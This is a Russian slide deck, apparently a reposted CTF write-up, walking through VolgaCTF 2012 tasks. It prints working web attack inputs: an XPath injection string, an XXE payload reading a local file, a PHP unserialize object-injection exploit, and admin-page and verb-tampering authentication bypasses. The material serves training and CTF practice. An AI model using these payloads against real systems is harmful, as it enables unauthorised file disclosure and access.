Top Banner
Разбор заданий «VolgaCTF» Сергей Бобров Август, 2012 г.
13

VolgaCTF 2012 разбор заданий

Jul 01, 2015

Download

Documents

BlackFan
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: VolgaCTF 2012 разбор заданий

Разбор заданий «VolgaCTF»

Сергей Бобров

Август, 2012 г.

Page 2: VolgaCTF 2012 разбор заданий

Задания

Финал

• Сервис «Карта Сокровищ» [Python/Django]

Отборочные

• Web100 [XSS/Bot]

• Web200 [Authentication Bypass]

• Web500 [Verb Tampering/Backup Files/Deobfuscation/Unserialize

Tricks]

• Stegano200 [WAV-file]

Page 3: VolgaCTF 2012 разбор заданий

Сервис «Карта Сокровищ»

Page 4: VolgaCTF 2012 разбор заданий

Сервис «Карта Сокровищ»: Уязвимости

Отображение всех флагов в xml, предоставляющей данные

для визуализации

Page 5: VolgaCTF 2012 разбор заданий

Сервис «Карта Сокровищ»: Уязвимости

Внедрение операторов XPath

treasure = treasure_xml.xpath('/treasures/treasure

[id = \'%s\' and owner=\'%s\']' %

(id, request.session['user'].name))

Эксплуатация

/treasure/view/?id=<id>' or '1'='1

Username = ' or id= '<id>

Page 6: VolgaCTF 2012 разбор заданий

Сервис «Карта Сокровищ»: Уязвимости

Регистрация пользователей с одинаковым логином

• При регистрации не проверялось наличие такого пользователя

• При проверке прав использовался только логин пользователя

Эксплуатация

• Смотрим имя последнего пользователя с флагом

• Регистрируемся с данными Login: <login>, Password: 1

• ???

• PROFIT!

Page 7: VolgaCTF 2012 разбор заданий

Сервис «Карта Сокровищ»: Уязвимости

Внедрение внешних сущностей XML (XXE Attack)

• При добавлении флага на стороне клиента формировалась XML

• На сервере XML-парсеры поддерживали XML eXternal Entity

Эксплуатация

<!DOCTYPE x [

<!ENTITY xxe SYSTEM "file:///pathToService/Treasure.xml">

]>

<treasure><name>x</name>

<treasureData>&xxe;</treasureData>

<x>5</x><y>5</y></treasure>

Page 8: VolgaCTF 2012 разбор заданий

Отборочные: Задание WEB100

Page 9: VolgaCTF 2012 разбор заданий

Отборочные: Задание WEB200

/robots.txt

Disallow: /_31337_4dm1np4g3

/_31337_4dm1np4g3

if($password != ‘xxx’) {

header(‘Location: index.php?error’)

}

Page 10: VolgaCTF 2012 разбор заданий

Отборочные: Задание WEB500

Verb Tampering

.htaccess

<Limit GET>

require valid-user

</Limit>

Файлы бэкапа

Обфускация

Битовыми операциями формируются слова «chr» и цифры 0-9.

Далее формируется строка

a.s.s.e.r.t(c.o.d.e)

Где каждая буква представляет собой c.h.r(0.1.2)

Page 11: VolgaCTF 2012 разбор заданий

Отборочные: Задание WEB500

Unserialize Tricks // bit.ly/nWyefG

Примерный вид эксплоита:

auth=a:3:{s:5:"login";s:6:"pirate";s:8:"password";s:7:"pirate1";s:4:

"name";O:7:"Textbox":1:{s:12:"\0Textbox\0obj";C:6:"Object":86:{

O:4:"User":2:{s:11:"\0User\0login";O:4:"Flag":0:{}s:14:"\0User\0p

assword";s:8:"getFlags";}}}}

Page 12: VolgaCTF 2012 разбор заданий

Отборочные: Задание Stegano200

Page 13: VolgaCTF 2012 разбор заданий

Спасибо за внимание! [email protected]